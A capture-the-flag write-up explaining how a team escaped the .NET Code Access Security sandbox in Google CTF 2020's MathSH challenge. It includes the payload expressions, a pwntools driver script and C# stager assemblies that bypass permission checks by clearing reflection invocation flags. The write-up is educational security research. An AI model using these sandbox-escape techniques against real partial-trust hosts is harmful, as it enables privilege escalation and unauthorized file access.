MathSH was a very innovative challenge in the category sandbox escape. Three members of our team - ALLES! - worked for several hours and eventually drew first blood on this challenge. This writeup is split into several parts, namely: dumping the binary, analysing the sandbox, gaining a better primitive for code execution and finally escaping the sandbox.
The description Calculator as a Service (CAAS) already hints to CAS, a legacy .NET technology to run code in various level of trusts.
We are given a restricted "shell" to calculate math expressions:
Welcome to Math Shell.
Type exit() to close the shell, or help() for some help.
Type expression to evaluate, e.g. Math.Log(1.2, 3.4) + 5.6.
MathSH> Math.Sin(0.9)
0.783326909627483
In addition to the math calculations, the help()
command reveals further commands, notable the __flag__()
function, as well as the __global__
namespace:
MathSH> help()
<Functions>
memset
memget
memlist
memclear
array
eval
exit
quit
help
__init__
__flag__
<Namespaces>
Math
__global__
Calling the __flag__
function yields Can't open flag file.
. Well, it seems like we have to escape the sandbox first.
The names of the available functions (Math.Sin
etc.) already hint that this challenge is based on the .NET platform.
Since the binary for the challenge is not given as a download, we first need to figure out how to leak the binary from the server, in order to allow us to reverse engineer it and come up with a plan on how to escape the sandbox.
The __global__
namespace allows calling nearly arbitrary .NET functions, although some restrictions apply:
- The called method or issued property has to be static (member methods can't be called)
- Only numbers, arrays of bytes and exception messages are printed to the console
Furthermore it's possible to nest the function calls. For instance, by combining ReadAllText
and querying the static getter AppContext.BaseDirectory
.
MathSH> __global__.System.IO.File.ReadAllText(__global__.System.AppContext.BaseDirectory)
Could not find a part of the path 'C:\ctf\challenge\'.
The above-used function ReadAllText
allows leaking strings, since the argument is reflected in the error message. We are pretty certain that there are multiple ways to leak string objects via exception messages, this one just happened to be the first one we found. By using String.Concat
we can call the ToString
method on almost every object that overloads the base method. Using this methodology we are able to list all the files in the current directory:
MathSH> __global__.System.IO.File.ReadAllText(__global__.System.String.Concat(__global__.System.IO.Directory.EnumerateFiles(".", "*")))
Could not find a part of the path 'C:\ctf\challenge\Antlr3.Runtime.dll\GoogleCTF2020.exe\JScriptRunner.dll\SlimlineJScript.dll'.
Since we already know that C:\ctf\challenge\
is our base path, the resulting files are:
- Antlr3.Runtime.dll
- GoogleCTF2020.exe
- JScriptRunner.dll
- SlimlineJScript.dll
Fortunately, the console prints System.Byte[]
objects! Hence, we can download the challenge binaries by calling:
MathSH> __global__.System.IO.File.ReadAllBytes("GoogleCTF2020.exe")
77 # <= 0x4D
90 # <= 0x5A = MZ Header
[...]
We can open the dumped binaries in dnSpy and analyse the code. Lets start with the assembly of the host program, GoogleCTF2020.exe
. The only interesting method is Program.SetupAppDomain
. It's short enough to include it here:
public static void SetupAppDomain()
{
PermissionSet permissionSet = new PermissionSet(PermissionState.None);
permissionSet.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution));
AppDomainSetup setupInformation = AppDomain.CurrentDomain.SetupInformation;
permissionSet.AddPermission(new FileIOPermission(FileIOPermissionAccess.Read | FileIOPermissionAccess.PathDiscovery, setupInformation.ApplicationBase));
Program._app_domain = AppDomain.CreateDomain("JScriptRunner", null, setupInformation, permissionSet, new List<StrongName>
{
Program.CreateStrongName(typeof(EntryPoint).Assembly)
}.ToArray());
}
This method creates a new AppDomain
in which the sandboxed interactive shell is spawned.
Note that the list of strongly named assemblies that are fully trusted by the AppDomain
includes the main assembly that implements the interpreter (JScriptRunner
).
This fact is abused later on. During the creation, two permissions are added to the zero-permission sandbox:
- SecurityPermissionFlag.Execution: Needed by the .NET Framework to execute code and assemblies inside the AppDomain
- FileIOPermission with Read | PathDiscovery in the ApplicationBase: We are allowed to read and list files in the application base, which happens to be the working directory.
The assembly then wraps the interactive shell into the JScriptRunner.dll
, which implements the shell functionality and applies a lot of reflection magic when types, methods and constructors are resolved.
This assembly makes use of SlimlineJScript.dll
and Antlr3.Runtime.dll
to process JScript commands.
The following picture summarizes the setup:
We also see the __flag__
method, which reads the flag file provided by the GoogleCTF2020.exe
host. But since the flag file is in the parent folder, we can't access it due to the restrictions of the app domain. Furthermore, we reveal the __init__
method, which can be used to make exceptions terminate the program and print the full exception details:
MathSH> __init__(true)
MathSH> __global__.System.IO.File.ReadAllText(__global__.System.AppContext.BaseDirectory)
System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\ctf\challenge\'.
at JScriptRunner.JScriptGlobal.WriteException(Exception ex)
at JScriptRunner.JSShell.Run()
at JScriptRunner.EntryPoint.Run(String flag_path, IShell shell)
at GoogleCTF2020.Program.RunShell(IShell shell)
Ncat: Broken pipe.
More analysis reveals some more, but rather uninteresting facts: We can call constructors of functions with the console and wrap System.Object
elements in the array
command. But nothing to escape back to the host process.
Some digging in our binaries yields the method JScriptRunner.JScriptUtils.CallMethodSecure
, which has the curious annotation SecuritySafeCritical
and also an interesting call to Assert
.
It's not used in the application, but we won't complain ;)
[SecuritySafeCritical]
internal static object CallMethodSecure(object targetObject, string name, bool case_sensitive, object[] args)
{
new ReflectionPermission(PermissionState.Unrestricted).Assert();
return JScriptUtils.CallMethod(targetObject, name, case_sensitive, args);
}
So, let's read some of the Microsoft docs regarding sandboxing and CAS. The Assert function is of particular interest as it contains the warning:
Because calling the Assert method removes the requirement that all code in the call chain must be granted permission to access the specified resource, it can open up security vulnerabilities if used incorrectly or inappropriately. Therefore, it should be used with great caution.
If a .NET application requests access to a specified resource, for example reading files in the local directory, the .NET Framework checks if the calling code possesses the privileges to do so. Internally, this works by walking up the stack frames, checking if any method on the call stack is "sandboxed" and not privileged to request this resource. The Assert
function inserts a special marker on the stack to stop the walk at this point.
Let's look at an example. We try to invoke a function that requires the ReflectionPermission
using the ordinary CallMethod
.
Then, the call stack will look like this:
As you can see, there are stack frames from the partially trusted SlimlineJScript
above our invoked function. When checking for the reflection permission, the .NET Framework will walk the stack from bottom to top and find this stack frame. Because SlimelineJScript
does not have the permission (it only has the permissions granted to it by the restrictive appdomain), the request is denied.
The next picture shows what happens if we instead use CallMethodSecure
.
The Assert
call inserts a special marker on the stack that stops the stack walk.
Since all the stackframes between the marker and our invoked function are from the JScriptRunner
assembly, which is fully trusted, the request is granted.
CallMethodSecure
thus allows us to call arbitrary functions that can use the ReflectionPermission
. We can control which function is called with the parameters passed to CallMethodSecure
. The documentation of the ReflectionPermission states:
Without ReflectionPermission, code can use reflection to access only the public members of objects. Code with ReflectionPermission and the appropriate ReflectionPermissionFlag flags can access the protected and private members of objects.
Let's try to call __flag__
function through the CallMethodSecure
method (since CallMethodSecure
is internal
, we need to use CallMethod
to call it):
MathSH> __init__(true)
MathSH> __global__.JScriptRunner.JScriptUtils.CallMethod(__global__.JScriptRunner.JScriptUtils.GetMethod(__global__.JScriptRunner.JScriptUtils.FindType("JScriptRunner.JScriptUtils",true), "CallMethodSecure",true,true,true,array(this,"__flag__",true,array())),this,array(this,"__flag__",true,array()))
System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> SlimlineJScript.EvaluationException: Can't open flag file.
at JScriptRunner.JScriptGlobal.__flag__()
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor)
at System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(Object obj, Object[] parameters, Object[] arguments)
at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture)
at JScriptRunner.JScriptUtils.CallMethod(Object targetObject, String name, Boolean case_sensitive, Object[] args)
at JScriptRunner.JScriptUtils.CallMethodSecure(Object targetObject, String name, Boolean case_sensitive, Object[] args)
--- End of inner exception stack trace ---
at JScriptRunner.JScriptGlobal.WriteException(Exception ex)
at JScriptRunner.JSShell.Run()
at JScriptRunner.EntryPoint.Run(String flag_path, IShell shell)
at GoogleCTF2020.Program.RunShell(IShell shell)
Dang, we still can't query the flag since we only got ReflectionPermission
and the FileIOPermission
still applies. But, nonetheless, we can see from the stacktrace that this method is called via CallMethodSecure
!
Some tooling minimized the effort to create such payloads, but after all, it was quite confusing. If we only had a way to store System.Object
elements in order to reuse them later on...
The method memset
was promising, but at this point, we figured it would be way better to load our own assemblies.
We will explore that in the next section.
To load an assembly, we want to call the Assembly.Load
function.
If we try to call this method directly, it will fail because we do not have the reflection permission:
MathSH> __global__.System.Reflection.Assembly.Load(__global__.System.Convert.FromBase64String("...some assembly as base64..."))
Request for the permission of type 'System.Security.Permissions.ReflectionPermission, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' failed.
But we can use the trick from the previous section to call that function with elevated privileges:
MathSH> __global__.JScriptRunner.JScriptUtils.CallMethod(__global__.JScriptRunner.JScriptUtils.GetMethod(__global__.JScriptRunner.JScriptUtils.FindType("JScriptRunner.JScriptUtils",true),"CallMethodSecure",true,true,true,array(__global__.JScriptRunner.JScriptUtils.FindType("System.Reflection.Assembly",true),"Load",true,array(__global__.JScriptRunner.JScriptUtils.FindType("System.Byte[]",true)))),this,array(__global__.JScriptRunner.JScriptUtils.FindType("System.Reflection.Assembly",true),"Load",true,array(__global__.System.Convert.FromBase64String("...some assembly as base64..."))))
System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Security.SecurityException: Request failed.
at System.Reflection.RuntimeAssembly.nLoadImage(Byte[] rawAssembly, Byte[] rawSymbolStore, Evidence evidence, StackCrawlMark& stackMark, Boolean fIntrospection, Boolean fSkipIntegrityCheck, SecurityContextSource securityContextSource)
at System.Reflection.Assembly.Load(Byte[] rawAssembly)
--- End of inner exception stack trace ---
...
at JScriptRunner.JScriptUtils.CallMethodSecure(Object targetObject, String name, Boolean case_sensitive, Object[] args)
...
Partial success: it is no longer the reflection permission that prevents us from loading an assembly. But there is still an issue: the request to load the assembly fails!
Reading the documention for the Assembly.Load
function reveals that there is a third parameter to specify the security context of the loaded assembly.
Local experiments show that the request to load an assembly at that point only succeeds if we pass CurrentAppDomain
as the security context, but this is not what we want: Passing this as an argument, the loaded assembly becomes a partial trust assembly, so all restrictions of the app domain will apply to it with no way to use Assert
to escape out of the sandbox.
Here another security feature of the .NET platform comes into play: Security-Transparent Code - Level 2.
It turns out that in order to be allowed to load our assembly as full-trust assembly, we have to make it SecurityTransparent
.
Thus, if we add the line [assembly: SecurityTransparent]
to AssemblyInfo.cs
of our assembly and recompile, loading is successful.
A simple test even confirms that we are running with full trust:
// in file AssemblyInfo.cs:
[assembly: SecurityTransparent]
// in file Stager.cs:
using System;
using System.Reflection;
namespace Stager
{
public class Stager
{
public static Boolean[] CheckTrust() // Boolean array so that the result is printed by the MathSH interpreter
{
return new Boolean[] { Assembly.GetExecutingAssembly().IsFullyTrusted };
}
}
}
Running this on the remote server returns:
# load the assembly as before
...
MathSH> __global__.Stager.Stager.CheckTrust()
1
Looks like we can load assemblies, and they are running as full trust! 🎉 Now, the only challenge that remains is to escape the limitations of security transparent code.
We are now able to run our own custom code in a fully-trusted assembly.
But we are not able to call Assert
since our code must be security transparent (a security transparent assembly cannot contain any non-security transparent code). So the final step is to find a way to load a second assembly that is still fully trusted but can contain security critical code as well.
To solve this, we first need to understand what prevented us from loading a non-SecurityTransparent
assembly in the first place. In the stack trace of CallMethodSecure
above, the stars show the security level of each function. Red is SecurityCritical
, orange stands for SecuritySafeCritical
and no color is SecurityTransparent
. As we can see, the final method which invokes our own code is SecurityTransparent
. It makes sense that this won't allow us to load any SecurityCritical
or SecuritySafeCritical
code, because that could bypass the restriction of a SecurityTransparent
method.
So we need to find another function to invoke our security critical code.
Luckily, JScriptRunner.ExpressionResolver.EvaluateFunction
fits our requirements. This method is SecurityCritical
and has an Invoke
inside, controlled by parameters. The only problem is that we cannot call this function directly, because we are security transparent and thus not allowed to call security critical methods.
However, we can bypass this restriction using reflection. With reflection, a method call is split into two steps: first, a MethodInfo
is looked up and then that MethodInfo
is invoked to perform the call. How does this work with the security levels? Somehow, the runtime needs to be able to know what security level is required when calling Invoke
on a MethodInfo
instance.
Turns out that the runtime simply saves that information in a private field m_invocationFlags
inside the MethodInfo
itself. The Invoke
method then checks if the NEED_SECURITY
flag is set:
if ((invocationFlags & INVOCATION_FLAGS.INVOCATION_FLAGS_NEED_SECURITY) != INVOCATION_FLAGS.INVOCATION_FLAGS_UNKNOWN)
{
RuntimeMethodHandle.PerformSecurityCheck(obj, this, this.m_declaringType, (uint)this.m_invocationFlags);
}
With some reflection magic, we can set that field and remove the the NEED_SECURITY
flag:
public static void resetInvocationFlags(Object field) {
var flagsField = field.GetType().GetField(
"m_invocationFlags",
BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Static
);
flagsField.SetValue(field,
flagsField.FieldType.GetField("INVOCATION_FLAGS_INITIALIZED")
.GetValue(null));
}
Using the attached script, we can run our exploit (stager
loads the first assembly, stage2
loads the second one):
$ ./repl.py
[+] Opening connection to mathsh.2020.ctfcompetition.com on port 1337: Done
Welcome to Math Shell.
Type exit() to close the shell, or help() for some help.
Type expression to evaluate, e.g. Math.Log(1.2, 3.4) + 5.6.
$ stager
$ stage2
constructed jsshell
got resolver
Launching assembly
stage2 result: CTF{C#_is_the_best_programming_language_change_my_mind}
#!/usr/bin/env python3
from __future__ import unicode_literals
from pwn import *
from prompt_toolkit import PromptSession
from prompt_toolkit.lexers import PygmentsLexer
from pygments.lexers.dotnet import CSharpLexer
r = remote("mathsh.2020.ctfcompetition.com", 1337)
REPLACEMENTS = {
'System': '__global__.System',
'ASCII': '__global__.System.Text.Encoding.ASCII',
'ReadAllBytes': '__global__.System.IO.File.ReadAllBytes',
'CallMethod': '__global__.JScriptRunner.JScriptUtils.CallMethod',
'"CallMethod': '"CallMethod',
'"CallMethod': '"CallMethod',
'GetMethod': '__global__.JScriptRunner.JScriptUtils.GetMethod',
'FindType': "__global__.JScriptRunner.JScriptUtils.FindType",
}
GLOBAL_RE = re.compile(r'(' + '|'.join(re.escape(mod) for mod in REPLACEMENTS) + ')')
def preprocess(code):
def rep_func(match):
return REPLACEMENTS[match.group(1)]
code = GLOBAL_RE.sub(rep_func, code)
return code
def save_bytes(out):
bs = bytes(int(x) for x in out.split('\n') if x)
with open("dump.bin", "wb") as f:
f.write(bs)
return "saved to dump.bin"
def call_secure(cls, method, *args):
method_args = ','.join(str(x) for x in args)
cls_type = f'__global__.JScriptRunner.JScriptUtils.FindType("{cls}", true)'
call_args = f'{cls_type},"{method}",true,array({method_args})'
return f'''
__global__.JScriptRunner.JScriptUtils.CallMethod(
__global__.JScriptRunner.JScriptUtils.GetMethod(
__global__.JScriptRunner.JScriptUtils.FindType("JScriptRunner.JScriptUtils", true),
"CallMethodSecure",
true,
true,
true,
array({call_args})
),
null,
array({call_args})
)
'''.replace("\n", "").replace(" ", "")
session = PromptSession(lexer=PygmentsLexer(CSharpLexer))
handle = lambda x: x
while True:
try:
out = r.recvuntil("MathSH> ", drop=True).decode()
print(handle(out).strip())
except EOFError:
r.stream()
break
inp = preprocess(session.prompt("$ "))
handle = lambda x: x
if inp.startswith("dumpstr "):
inp = inp[8:]
inp = f'__global__.System.IO.File.ReadAllText(__global__.System.Convert.ToString({inp}))'
if inp.startswith("call "):
pass
if inp.startswith("dumpbin "):
inp = inp[8:]
handle = save_bytes
if inp.startswith("load "):
fname = inp[5:]
with open(fname, "rb") as f:
data = base64.b64encode(f.read()).decode()
inp = call_secure('System.Reflection.Assembly', 'Load', f'__global__.System.Convert.FromBase64String("{data}")')
if inp.startswith("callsecure "):
inp = call_secure(*inp.split()[1:])
if inp == "stager":
with open("Stager.dll", "rb") as f:
data = base64.b64encode(f.read()).decode()
inp = call_secure('System.Reflection.Assembly', 'Load', f'__global__.System.Convert.FromBase64String("{data}")')
if inp == "stage2":
with open("Stage2.dll", "rb") as f:
data = base64.b64encode(f.read()).decode()
inp = call_secure('Stager.Stager', 'Run', 'this', f'__global__.System.Convert.FromBase64String("{data}")')
r.sendline(inp)
using JScriptRunner;
using SlimlineJScript;
using SlimlineJScript.Domain;
using System;
using System.Reflection;
namespace Stager
{
public class Stager
{
[System.Security.SecuritySafeCritical]
public static void CheckTrust()
{
Console.WriteLine(Assembly.GetExecutingAssembly().IsFullyTrusted);
}
public static void resetInvocationFlags(Object field)
{
var flagsField = field.GetType().GetField("m_invocationFlags", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Static);
flagsField.SetValue(field, flagsField.FieldType.GetField("INVOCATION_FLAGS_INITIALIZED").GetValue(null));
}
public static Object getPrivateField(Object v, String name)
{
var field = v.GetType().GetField(name, BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public);
resetInvocationFlags(field);
return field.GetValue(v);
}
public static MethodInfo getMethod(Object v, String name)
{
var mi = v.GetType().GetMethod(name, BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static);
resetInvocationFlags(mi);
return mi;
}
public static void Run(JScriptGlobal self, byte[] stage2)
{
// get the shell so that we can produce output easily
var shellField = self.GetType().GetFields(BindingFlags.NonPublic | BindingFlags.Instance)[0];
IShell shell = (IShell)shellField.GetValue(self);
// construct a new resolver so that we can call methods on it
var jsShellType = Assembly.GetAssembly(self.GetType()).GetType("JScriptRunner.JSShell");
var constr = jsShellType.GetConstructors()[0];
resetInvocationFlags(constr);
var jsShell = constr.Invoke(new object[]
{
"..\\flag.txt",
shell,
});
shell.WriteLine("constructed jsshell");
Object resolver = getPrivateField(jsShell, "_resolver");
shell.WriteLine("got resolver");
// launch the stage2 assembly
shell.WriteLine("Launching assembly");
var args = new FunctionArgs();
var payload = new ValueExpression(stage2, SlimlineJScript.Domain.ValueType.String);
args.Parameters = new Expression[] { new Expression(payload) };
getMethod(resolver, "EvaluateFunction").Invoke(resolver, new object[] { null, "__global__.System.Reflection.Assembly.Load", args, null, true });
var t = JScriptUtils.FindType("Stage2.Stage2", true);
var m = t.GetMethod("Run");
resetInvocationFlags(m);
shell.WriteLine("stage2 result: " + m.Invoke(null, new object[] { }));
}
}
}
using System;
using System.IO;
using System.Security;
using System.Security.Permissions;
namespace Stage2
{
public class Stage2
{
public static String Run()
{
new PermissionSet(PermissionState.Unrestricted).Assert();
return File.ReadAllText("../flag.txt");
}
}
}
Beautiful solution <3